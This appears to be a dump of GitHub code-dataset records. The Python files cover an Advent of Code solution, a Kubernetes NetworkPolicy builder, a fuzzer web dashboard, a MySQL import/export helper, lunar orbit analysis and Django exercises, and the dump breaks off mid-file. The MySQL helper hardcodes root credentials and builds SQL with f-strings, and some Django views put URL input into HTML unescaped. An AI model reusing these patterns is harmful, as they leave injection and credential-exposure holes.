0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 10, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 33, "usage_type": "call"}]} {"seq_id": "14084438396", "text": "\"\"\"\nhttp://adventofcode.com/2017/day/2\n\"\"\"\nfrom typing import List\n\n\ndef parse_table(table: List[str]) -> List[List[int]]:\n return [[int(val) for val in row.split()]\n for row in table]\n\n\ndef row_checksum(table: List[str]) -> int:\n rows = parse_table(table)\n return sum(max(row) - min(row) for row in rows)\n\n# Part2\n# -----\n\n\ndef even_row_checksum(table: List[str]) -> int:\n rows = parse_table(table)\n return sum(get_dividers(row) for row in rows)\n\n\ndef get_dividers(row: List[int]) -> int:\n sorted_row = sorted(row)\n while sorted_row:\n num = sorted_row.pop()\n for val in sorted_row:\n if num % val == 0:\n return num // val\n return 0\n\n\nassert row_checksum([\"5 1 9 5\", \"7 5 3\", \"2 4 6 8\"]) == 18\nassert even_row_checksum([\"5 9 2 8\", \"9 4 7 3\", \"3 8 6 5\"]) == 9\n\n\nif __name__ == \"__main__\":\n with open('day02_input.txt', 'r') as f:\n TABLE = f.read().splitlines()\n print(\"Checksum:\", row_checksum(TABLE))\n print(\"Even checksum:\", even_row_checksum(TABLE))\n", "repo_name": "aboucaud/adventofcode2017", "sub_path": "day02/day02.py", "file_name": "day02.py", "file_ext": "py", "file_size_in_byte": 1042, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 25, "usage_type": "name"}]} {"seq_id": "15625243405", "text": "import yaml\nimport subprocess\nimport kubernetes\nimport json\nfrom kubernetes import client, config\n\nconfig.load_kube_config()\n\nwith open(\"namespace.json\", \"r\") as config_file:\n namespace_config = json.load(config_file)\nlabel_2 = namespace_config.get(\"label\", {}).get(\"app\", \"\")\nnamespace = namespace_config[\"namespace\"]\n\n\ndef display_pods(namespace):\n labels = []\n pods = client.CoreV1Api().list_namespaced_pod(namespace).items\n \n for pod in pods:\n pod_labels = pod.metadata.labels\n if pod_labels:\n labels.append(pod_labels)\n \n if not labels:\n print(f\"No labels found in the namespace {namespace}\")\n return None\n \n return labels\n\ndef select_label(labels): \n if not labels:\n print(\"No Pod to select.\")\n return None\n\n print(\"Select the Label you want to deny all traffic to \" + label_2 + \": \")\n for i, label in enumerate(labels):\n print(f\"{i + 1}. {label}\")\n while True:\n selected = input(\"Select Pod (enter the corresponding number): \")\n try:\n selected_index = int(selected) - 1\n if 0 <= selected_index < len(labels):\n return list(labels)[selected_index]\n else:\n print(\"Invalid selection. Please re-enter.\")\n except ValueError:\n print(\"Please enter an Integer.\")\n\nselected_pod = select_label(display_pods(namespace))\n\nnetwork_policy = {\n \"apiVersion\": \"networking.k8s.io/v1\",\n \"kind\": \"NetworkPolicy\",\n \"metadata\": {\n \"name\": f\"deny-from-{selected_pod['app'].lower()}-to-{label_2.lower()}\",\n \"namespace\": namespace\n },\n \"spec\": {\n \"podSelector\": {\n \"matchLabels\": {\n \"app\": label_2\n }\n },\n \"policyTypes\": [\"Ingress\"],\n \"ingress\": [\n {\n \"from\": [\n {\n \"podSelector\": {\n \"matchExpressions\": [\n {\"key\": \"app\", \"operator\": \"NotIn\", \"values\": [selected_pod['app']]}\n ]\n }\n }\n ]\n }\n ]\n }\n}\n\n\ndef apply_kubernetes_yaml(yaml_file_path):\n try:\n # The command you would normally type in the terminal\n cmd = ['kubectl', 'apply', '-f', yaml_file_path]\n \n # Execute the command\n result = subprocess.run(cmd, check=True, capture_output=True, text=True)\n \n # Print the output from the command\n print(result.stdout)\n \n except subprocess.CalledProcessError as e:\n # If the command failed, it will raise this exception\n print(\"Error applying YAML:\", e.stderr)\n except Exception as e:\n # Catch-all for any other exceptions\n print(\"An error occurred:\", str(e))\n\n\n\nwhile True:\n print(\"1. Execute\")\n print(\"2. Export to a yaml file with a name of your choice\")\n choice = input(\"Select an option (1 or 2): \")\n\n if choice == \"1\":\n # Limit_traffic_to_an_application_yaml = yaml.dump(network_policy, default_flow_style=False)\n # with open(\"Limit_traffic_to_an_application_yaml\", \"w\") as temp_file:\n # temp_file.write(Limit_traffic_to_an_application_yaml)\n # apply_kubernetes_yaml('Limit_traffic_to_an_application_yaml')\n yaml_string = yaml.dump(network_policy, default_flow_style=False)\n new_yaml_filename = f\"deny-from-{selected_pod['app'].lower()}-to-{label_2.lower()}.yaml\"\n\n with open(new_yaml_filename, \"w\") as temp_file:\n temp_file.write(yaml_string)\n\n apply_kubernetes_yaml(new_yaml_filename)\n\n break\n elif choice == \"2\":\n filename = input(\"Enter the file name you want to save (for example, data(.yaml)): \")\n with open(filename, 'w') as file:\n yaml.dump(network_policy, file)\n print(f\"Saved to {filename}.yaml!\")\n break\n else:\n print(\"Invalid selection. Please select again.\")\n\n", "repo_name": "arthur-1205/capstone", "sub_path": "05_Deny_all_traffic_from_app_to_app.py", "file_name": "05_Deny_all_traffic_from_app_to_app.py", "file_ext": "py", "file_size_in_byte": 4108, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "kubernetes.config.load_kube_config", "line_number": 7, "usage_type": "call"}, {"api_name": "kubernetes.config", "line_number": 7, "usage_type": "name"}, {"api_name": "json.load", "line_number": 10, "usage_type": "call"}, {"api_name": "kubernetes.client.CoreV1Api", "line_number": 17, "usage_type": "call"}, {"api_name": "kubernetes.client", "line_number": 17, "usage_type": "name"}, {"api_name": "subprocess.run", "line_number": 88, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 93, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 112, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 124, "usage_type": "call"}]} {"seq_id": "8827844927", "text": "\"\"\"This module defines the handler that handles avatar image requests.\"\"\"\n\n\nfrom ng import httpfilters\nfrom ng.database import MySQLDatabase\nfrom ng.http import HttpResponse, HttpErrorResponse\nfrom ng.models import Avatar\nfrom ng.views import TemplateView, ImageView, StaticView\nimport config\nimport _accounthelper\n\n\ndef http_error_response(error_code, conf):\n \"\"\"Generate response that indicates an http error.\"\"\"\n error_page_path = config.static_filepath(\n conf['error_pages'].get(error_code)\n )\n error_view = StaticView(error_page_path)\n\n response = HttpErrorResponse(error_code, error_view)\n return response\n\n\ndef avatar_response(avatar, conf):\n \"\"\"Generate response that shows the avatar image.\"\"\"\n avatar_path = config.storage_filepath(avatar.get('file_path'))\n avatar_view = ImageView(avatar_path)\n return HttpResponse(avatar_view)\n\n\n@httpfilters.allow_methods('GET')\ndef handler(request, conf):\n \"\"\"The handler function.\"\"\"\n with MySQLDatabase(conf.get('database_connection')) as db:\n # Try to get signed account\n try:\n account = _accounthelper.get_session_account(request, db)\n except _accounthelper.InvalidSessionException as e:\n return e.response\n\n # Check the id in the query string\n aid = int(request.field_storage.getvalue('id', 0))\n if not aid:\n return http_error_response(404, conf)\n\n # Load the avatar instance from database\n avatar = Avatar.load_from_database(db,\n owner_uid=account.get('uid'),\n aid=aid)\n if avatar is None:\n return http_error_response(403, conf)\n\n return avatar_response(avatar, conf)\n", "repo_name": "lichuanzju/ngavatar", "sub_path": "src/scripts/cgi/handlers/_avatar.py", "file_name": "_avatar.py", "file_ext": "py", "file_size_in_byte": 1762, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "config.static_filepath", "line_number": 15, "usage_type": "call"}, {"api_name": "ng.views.StaticView", "line_number": 18, "usage_type": "call"}, {"api_name": "ng.http.HttpErrorResponse", "line_number": 20, "usage_type": "call"}, {"api_name": "config.storage_filepath", "line_number": 26, "usage_type": "call"}, {"api_name": "ng.views.ImageView", "line_number": 27, "usage_type": "call"}, {"api_name": "ng.http.HttpResponse", "line_number": 28, "usage_type": "call"}, {"api_name": "ng.database.MySQLDatabase", "line_number": 34, "usage_type": "call"}, {"api_name": "_accounthelper.get_session_account", "line_number": 37, "usage_type": "call"}, {"api_name": "_accounthelper.InvalidSessionException", "line_number": 38, "usage_type": "attribute"}, {"api_name": "ng.models.Avatar.load_from_database", "line_number": 47, "usage_type": "call"}, {"api_name": "ng.models.Avatar", "line_number": 47, "usage_type": "name"}, {"api_name": "ng.httpfilters.allow_methods", "line_number": 31, "usage_type": "call"}, {"api_name": "ng.httpfilters", "line_number": 31, "usage_type": "name"}]} {"seq_id": "15829272016", "text": "#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\nimport solfuzz, sys, os, threading\nimport logging, json, glob\nlogger = logging.getLogger()\n\ntry:\n import flask\n templates = os.path.abspath(os.path.join(os.path.dirname(__file__), 'templates'))\n app = flask.Flask(__name__, template_folder=templates)\n logger.info(\"Flask init: template_folder: %s\" % templates)\nexcept ImportError:\n logger.warning(\"Flask not installed, disabling web mode\")\n sys.exit(1)\n\n\n\nDEV_CONFIG = {\n \"sourcedir\" : \"/tmp/solfuzz/solidity\",\n \"fuzzbins\" : \"/tmp/solfuzz/fuzzbins\",\n \"wwwroot\" : \"/tmp/solfuzz/www-data\",\n \"tasks\" : [\n { \"name\": \"solfuzz\" ,\"desc\" : \"Solidity standard\", \"in\": \"/datadrive/solidity_input/\", \"args\": \"\"},\n { \"name\": \"solfuzz_json\", \"desc\" : \"Solidity JSON \", \"in\": \"/datadrive/solidity_json_input/\", \"args\": \"--standard-json\"}\n ],\n \"host\":\"localhost\",\n \"port\": 8080\n}\n\n@app.route(\"/update\")\ndef update():\n fuzzer.updateAndRestart()\n return flask.redirect(\"/\", code=302)\n\n@app.route(\"/\")\ndef index():\n\n artefactsDir = os.path.abspath(os.path.join(fuzzer.config['wwwroot'],\"*.tar.gz\"))\n files = glob.glob(artefactsDir)\n files.sort(key=os.path.getmtime, reverse=True)\n\n return flask.render_template(\"index.html\", \n status = fuzzer.status(), \n config = fuzzer.config, \n files=[os.path.basename(x) for x in files])\n\n@app.route(\"/download/\")\n@app.route(\"/download/\")\ndef download(artefact = None):\n \"\"\" Download a file -- only artefacts allowed \"\"\"\n\n artefactDir = fuzzer.config[\"wwwroot\"]\n\n insecure_fullpath = os.path.realpath(os.path.join(artefactDir, artefact))\n # Now check that the path is a subdir of artefact idr\n if not insecure_fullpath.startswith(artefactDir):\n return \"Meh, nice try\"\n\n return flask.send_from_directory(artefactDir, artefact, as_attachment=True)\n\nfuzzer = None\n\ndef flaskRunner(host, port ):\n app.run(host, port)\n\n\ndef main(args):\n global fuzzer\n config = DEV_CONFIG\n\n if len(args) > 0: \n with open(args[0]) as fp:\n config = json.load(fp) \n\n # Start all docker daemons that we'll use during the execution\n\n thread = threading.Thread(target=flaskRunner, args = (config['host'], config['port']))\n thread.start()\n\n fuzzer = solfuzz.Fuzzer(config)\n fuzzer.startWork()\n thread.join()\n \nif __name__ == '__main__':\n# testSummary()\n main(sys.argv[1:])\n", "repo_name": "holiman/solfuzzz", "sub_path": "solfuzzweb.py", "file_name": "solfuzzweb.py", "file_ext": "py", "file_size_in_byte": 2475, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "flask.send_from_directory", "line_number": 60, "usage_type": "call"}, {"api_name": "json.load", "line_number": 74, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 78, "usage_type": "call"}, {"api_name": "solfuzz.Fuzzer", "line_number": 81, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 87, "usage_type": "attribute"}]} {"seq_id": "71127312871", "text": "import logging\n\nimport pymysql\nimport csv\nimport pandas as pd\nfrom sqlalchemy import create_engine\nimport datetime\n\nclass MysqlDB():\n def __init__(self):\n self.conn = 0\n self.cursor = 0\n\n def dbconnect(self):\n try:\n self.conn = pymysql.connect(host='localhost', port=3306, user='root', password='password', db='emp', charset='utf8')\n db_connection_str = \"mysql+pymysql://root:password@localhost/emp\"\n db_connection = create_engine(db_connection_str)\n logging.debug('DB CONNECTED')\n return db_connection\n except Exception as err:\n logging.error('MysqlDB - DBCONNECT : ', err)\n raise\n\n def csv_df_db(self, savepath, readpath, o_names, n_names):\n try :\n logging.debug('CSV_TO_DB STARTED')\n cursor = self.conn.cursor()\n db_connection = self.dbconnect()\n # schema_name = \"emp\" >> 위에 dbconnect 에서 db를 지정했기 때문에 여기서 재정의 불필요\n table_name = savepath\n #db컬럼명만 추출하는 쿼리\n sql = f\"\"\"select column_name from information_schema.columns where table_name = '{table_name}'\"\"\"\n cursor.execute(sql.format(table_name))\n logging.debug('SQL EXECUTED : DB컬럼명 추출')\n colname_df = pd.read_sql_query(sql, self.conn)\n cname = colname_df.values.tolist() #db에 저장된 컬럼명이 2중리스트로 담긴다 : [['Department'], ['Email'], ['Name'], ['Salary']]\n cnames=[j for i in cname for j in i]\n file = open(readpath, 'r')\n csvfile = pd.read_csv(file)\n # rename 값이 있을 시 변경\n for alias in n_names:\n if alias:\n csvfile.rename(columns={o_names[n_names.index(alias)] : alias}, inplace=True)\n logging.debug('COLUMN NAME CHANGED TO ALIAS')\n #csv헤더 중 db컬럼명에 해당하는 것만 추출 & DB insert - 이 때 csv헤더와 db컬럼명의 대소문자도 구분되니 주의\n input = csvfile[cnames]\n input.to_sql(name=savepath, con=db_connection, if_exists='append', index=False)\n logging.debug('CSV_TO_DB DONE')\n except Exception as e:\n logging.error('MysqlDB - CSV_DF_DB : ', e)\n raise\n\n def db_to_csv(self, savepath, r_type, time_condition, sql_address):\n try:\n cursor = self.conn.cursor()\n currdate = datetime.datetime.now().strftime('%Y-%m-%d')\n currdate_hour = datetime.datetime.now().strftime('%Y-%m-%d %H')\n sql = \"\"\n if sql_address:\n openquery = open(sql_address, 'r')\n query = openquery.readline()\n if ':CURRENTDATETIME' in query:\n logging.debug('READ SQL FROM FILE - DATETIME')\n sql = query.replace(':CURRENTDATETIME', \"'\" + currdate_hour + \"'\")\n elif ':CURRENTDATE' in query:\n logging.debug('READ SQL FROM FILE - DATE')\n sql = query.replace(':CURRENTDATE', \"'\" + currdate + \"'\")\n elif r_type:\n if time_condition == 'CURRENTDATE':\n logging.debug('READ SQL FROM CONFIG - DATE')\n sql = f\"select * from employee where DATE_FORMAT(JoinDatetime, '%Y-%m-%d') = '{currdate}';\"\n cursor.execute(sql.format(currdate))\n elif time_condition == 'CURRENTTIME':\n logging.debug('READ SQL FROM CONFIG - DATETIME')\n sql = f\"select * from employee where JoinDatetime = '{currdate_hour}'\"\n cursor.execute(sql.format(currdate_hour))\n else:\n sql = \"\"\"SELECT * from employee\"\"\"\n df = pd.read_sql_query(sql, self.conn)\n df.to_csv(savepath, index=False)\n except Exception as e:\n logging.error('MysqlDB - DB TO CSVFILE : ', e)\n raise\n\n def db_to_db(self, to_table, from_table):\n try:\n cursor = self.conn.cursor()\n sql = \"INSERT INTO {0} SELECT * FROM {1}\"\n cursor.execute(sql.format(to_table, from_table))\n except Exception as e:\n logging.error('MysqlDB - DB TO DB : ', e)\n raise\n\n def db_commit(self):\n try :\n self.conn.commit()\n except Exception as e:\n logging.error('MysqlDB - DB COMMIT : ', e)\n raise\n\n def db_close(self):\n try :\n self.conn.close()\n except Exception as e:\n logging.error('MysqlDB - DB CLOSE : ', e)\n raise\n", "repo_name": "itskathyc/pythonProject", "sub_path": "common/Database.py", "file_name": "Database.py", "file_ext": "py", "file_size_in_byte": 4694, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pymysql.connect", "line_number": 16, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 19, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 22, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 27, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.read_sql_query", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 40, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 45, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 49, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 51, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 57, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 58, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 64, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 67, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 71, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 75, "usage_type": "call"}, {"api_name": "pandas.read_sql_query", "line_number": 80, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 83, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 92, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 99, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 106, "usage_type": "call"}]} {"seq_id": "1872244587", "text": "import csv\nimport math\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom numpy.linalg import norm\nfrom scipy.signal import find_peaks\n\nimport utils\n\n# Če je True zapiše rezultate v datoteko\nwrite = True\n\n# Št. let\nleta = 100\n\n# Uvozi rešitve ode\nintervali, rZemlja, rLuna, vZemlja, vLuna = utils.readstate(365*24*leta)\n\nprint(\"Računam...\")\n\nrTezisce = (rZemlja * float(utils.gmZemlja) + rLuna * float(utils.gmLuna)) \\\n / (float(utils.gmZemlja) + float(utils.gmLuna))\nrTezisceVektorji = np.swapaxes(rTezisce, 0, 1)\nrZemljaVektorji = np.swapaxes(rZemlja, 0, 1)\nrLunaVektorji = np.swapaxes(rLuna, 0, 1)\nrLunaVektorjiTeziscni = [rLunaVektorji[n] - rTezisceVektorji[n] \\\n for n in range(0, len(rLunaVektorji))]\n\n# Razdalja med Zemljo in Luno\ndZL = np.array([norm(rZemljaVektorji[k] - rLunaVektorji[k]) \\\n for k in range(0, len(rZemljaVektorji))])[4488:]\n\n# Poišči maksimume in minimume razdalje med Zemljo in Luno\napogeji, _ = find_peaks(dZL)\nperigeji, _ = find_peaks(-1*dZL)\n\napogeji = np.array(apogeji) + 4488\nperigeji = np.array(perigeji) + 4488\n\n# Določi smerne vektorje apogejev in perigejev\nsmerniVektorjiApogeji = []\nsmerniVektorjiPerigeji = []\n\nfor apoUra in apogeji:\n smerniVektorjiApogeji.append(rTezisceVektorji[apoUra] - rLunaVektorji[apoUra])\n\nfor periUra in perigeji:\n smerniVektorjiPerigeji.append(rLunaVektorji[periUra] - rTezisceVektorji[periUra])\n\n# Združi apogeje in perigeje v en array po vrstnem redu\nsmerniVektorji = []\nmaxim = len(apogeji) if len(apogeji) < len(perigeji) else len(perigeji)\nfor j in range(0, maxim):\n if apogeji[0] < perigeji[0]:\n smerniVektorji.append(smerniVektorjiApogeji[j])\n smerniVektorji.append(smerniVektorjiPerigeji[j])\n else:\n smerniVektorji.append(smerniVektorjiPerigeji[j])\n smerniVektorji.append(smerniVektorjiApogeji[j])\n\nureApsid = np.concatenate((apogeji, perigeji))\nureApsid.sort()\n\nnormala = utils.ekliptika(rTezisceVektorji[0:180*24])\n\n# Koti med smernimi vektorji in Soncem\nkoti = []\ntau = []\nfor k in range(0, len(smerniVektorji)):\n normala = np.cross(rLunaVektorjiTeziscni[ureApsid[k]-7*24], \\\n rLunaVektorjiTeziscni[ureApsid[k]])\n koti.append(utils.kot(smerniVektorji[0], smerniVektorji[k], normala))\n tau.append(\n utils.kot(rTezisceVektorji[ureApsid[k]], smerniVektorji[k], normala))\n\nureApsid = ureApsid[0:len(koti)]\n\n# Shrani v datoteko\nif write:\n print(\"Writing...\")\n with open(utils.path + 'data/apsidal-angles.csv', mode='w+') as outfile:\n wrt = csv.writer(outfile, delimiter=',')\n\n for i in range(0, len(ureApsid)):\n wrt.writerow([ureApsid[i], koti[i], tau[i]])\n", "repo_name": "rokuk/sim-precesija-lune", "sub_path": "scripts/apsidal.py", "file_name": "apsidal.py", "file_ext": "py", "file_size_in_byte": 2691, "program_lang": "python", "lang": "sl", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "utils.readstate", "line_number": 19, "usage_type": "call"}, {"api_name": "utils.gmZemlja", "line_number": 23, "usage_type": "attribute"}, {"api_name": "utils.gmLuna", "line_number": 23, "usage_type": "attribute"}, {"api_name": "utils.gmZemlja", "line_number": 24, "usage_type": "attribute"}, {"api_name": "utils.gmLuna", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.swapaxes", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 32, "usage_type": "call"}, {"api_name": "scipy.signal.find_peaks", "line_number": 36, "usage_type": "call"}, {"api_name": "scipy.signal.find_peaks", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 63, "usage_type": "call"}, {"api_name": "utils.ekliptika", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 72, "usage_type": "call"}, {"api_name": "utils.kot", "line_number": 74, "usage_type": "call"}, {"api_name": "utils.kot", "line_number": 76, "usage_type": "call"}, {"api_name": "utils.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 84, "usage_type": "call"}]} {"seq_id": "10007267175", "text": "from django.shortcuts import render\nfrom django.shortcuts import HttpResponse, render\n\nfrom random import randint\nimport os\nimport re\nimport requests\n\nfrom pymongo import MongoClient\nfrom bson import ObjectId\n\n# Configuring the logger\nimport logging\nlogger = logging.getLogger(__name__)\n\n\n# Configuring MongoDB\nclient = MongoClient('mongo', 27017)\ndb = client.movies\npelis = db.pelis\n\n\n\"\"\"\nTema 1\n\"\"\"\ndef ejercicio_1_1(request, usuario):\n\t\"\"\"\n\tSalute the user\n\t\"\"\"\n\n\tmsg = \"\"\"\n\t\t\n \t\t

\n \t\t\tHola {}. Cómo estás?\n\t\t

\n\t\t\"\"\".format(usuario)\n\n\tlogger.info('The user has been just saluted!')\n\treturn HttpResponse(msg)\n\n\ndef ejercicio_1_2(request, usuario):\n\t\"\"\"\n\tSALUTE THE USER!!\n\t\"\"\"\n\tmsg = \"\"\"\n\t\t\n \t\t

\n \t\t\tHola {}! Cómo estás crack?\n\t\t

\n\t\t\"\"\".format(usuario.upper())\n\n\treturn HttpResponse(msg)\n\n\ndef ejercicio_1_3(request, year):\n\t\"\"\"\n\tSend your best regards to the new year\n\t\"\"\"\n\tif year == 2019:\n\t\tmsg = 'Feliz año!'\n\telse:\n\t\tmsg = 'Te has equivocado de año...'\n\n\tout = \"\"\"HttpResponse\n\t\t\n \t\t

{}

\n\t\t\"\"\".format(msg)\n\n\treturn HttpResponse(out)\n\n\n\"\"\"\nTema 2\n\"\"\"\n\ndef ejercicio_2_1(request, lista):\n\tstr_array = lista.split(' ')\n\n\tcounter = 0\n\tfor str1 in str_array:\n\t\tif len(str1) >= 2:\n\t\t\tcounter += 1\n\n\tresponse = \"

Number of strings whose length is =>2: {}

\".format(counter)\n\n\tcounter = 0\n\tfor str1 in str_array:\n\t\tfor str2 in str_array:\n\t\t\tif str1 != str2:\n\t\t\t\tif str1[0] == str2[0] and str1[-1] == str2[-1]:\n\t\t\t\t\tcounter += 1\n\n\tresponse += \"

Number of string whose first and last char are the same: {}

\".format(counter)\n\n\treturn HttpResponse(response)\n\n\ndef ejercicio_2_2(request, lista):\n\tstr_array = lista.split(' ')\n\tstr_set = set(str_array)\n\n\tresponse = '

{}

'.format(str_set)\n\n\treturn HttpResponse(response)\n\n\ndef ejercicio_2_3(request, s):\n\tif len(s) < 2:\n\t\tresult = \"\"\n\telse:\n\t\tresult = s[:2] + s[-2:]\n\n\tresponse = '

{}

'.format(result)\n\treturn HttpResponse(response)\n\n\ndef ejercicio_2_4(request, s):\n\tif len(s) >= 3:\n\t\tif s[-3:] != 'ing':\n\t\t\tend = 'ing'\n\t\telse:\n\t\t\tend = 'ly'\n\telse:\n\t\tend = None\n\n\tresponse = '

{}

'.format(s + end)\n\treturn HttpResponse(response)\n\n\ndef ejercicio_2_5(request):\n\ttext = \"\"\"\"\n\tRead any text file specified on the command line. Do a simple split() on\n\twhitespace to obtain all the words in the file. Rather than read the file\n\tline by line, it's easier to read it into one giant string and split it once.\n\n\tBuild a \"mimic\" dict that maps each word that appears in the file to a list\n\tof all the words that immediately follow that word in the file. The list of\n\twords can be be in any order and should include duplicates. So for example\n\tthe key \"and\" might have the list [\"then\", \"best\", \"then\", \"after\", ...]\n\tlisting all the words which came after \"and\" in the text. We'll say that the\n\tempty string is what comes before the first word in the file.\n\n\tWith the mimic dict, it's fairly easy to emit random text that mimics the\n\toriginal. Print a word, then look up what words might come next and pick one\n\tat random as the next work. Use the empty string as the first word to prime\n\tthings. If we ever get stuck with a word that is not in the dict, go back to\n\tthe empty string to keep things moving.\n\n\tNote: the standard python module 'random' includes a random.choice(list)\n\tmethod which picks a random element from a non-empty list.\n\n\tFor fun, feed your program to itself as input. Could work on getting it to\n\tput in linebreaks around 70 columns, so the output looks better.\n\t\"\"\"\n\n\tsigns = '''!()-[]{};:'\"\\,<>./?@#$%^&*_~'''\n\n\tclean_text = text.lower()\n\tfor sign in signs:\n\t\tclean_text = clean_text.replace(sign, '')\n\n\tclean_text = clean_text.split()\n\n\tdict = {}\n\ttotal_lenght = len(clean_text)\n\n\tfor index, word in enumerate(clean_text):\n\t\tif index < total_lenght-1:\t# if the for has not reached the end of the list\n\t\t\tif word not in dict:\n\t\t\t\tdict[word] = []\n\n\t\t\tdict[word].append( clean_text[index+1] ) # appending the next word to it\n\n\tfinal_text = \"\"\t\t# generate the final text randomly\n\tfor word in dict:\n\t\tfinal_text += word + \" \" + pick_word_at_random(dict[word]) + \" \"\n\n\tresponse = '

{}

'.format(final_text)\n\treturn HttpResponse(response)\n\n\ndef pick_word_at_random(list):\n\tlenght = len(list)\n\tindex = randint(0, lenght - 1)\n\treturn list[index]\n\n\"\"\"\nTema 3\n\"\"\"\n# https://regex101.com/\ndef ejercicio_3(request):\n\n\tURL = 'http://ep00.epimg.net/rss/tags/ultimas_noticias.xml'\n\tREGEX = r\"\\W+<\\!\\[CDATA\\[(.+?)\\]\\]><\\/title>\"\n\ttitulares = []\n\n\treq = requests.get(URL)\n\tif req.status_code == 200:\n\n\t\tmatch = re.findall(REGEX, req.text)\n\n\t\tfor item in match:\n\t\t\ttitulares.append({'title': item})\n\n\n\tcontext = {\n\t\t'newspaper' : 'El País',\n\t\t'titulares': titulares\n\t}\n\n\treturn render(request, 'ejercicio_3.html', context)\n\n\n\"\"\"\nTema 4\n\"\"\"\ndef ejercicio_4(request, my_limit):\n\n\tpelis_list = pelis.find(limit=my_limit)\n\n\n\tcontext = {\n\t\t'limit': my_limit,\n\t\t'pelis': pelis_list\n\t}\n\t# return HttpResponse(pelis_list)\n\treturn render(request, 'ejercicio_4.html', context)\n\n\n\"\"\"\nTema 5\n\"\"\"\ndef ejercicio_5_actor(request, actor):\n\n\tregex = re.compile(actor, re.IGNORECASE)\n\tpelis_list = pelis.find({'actors':regex})\n\n\tcontext = {\n\t\t'busqueda': 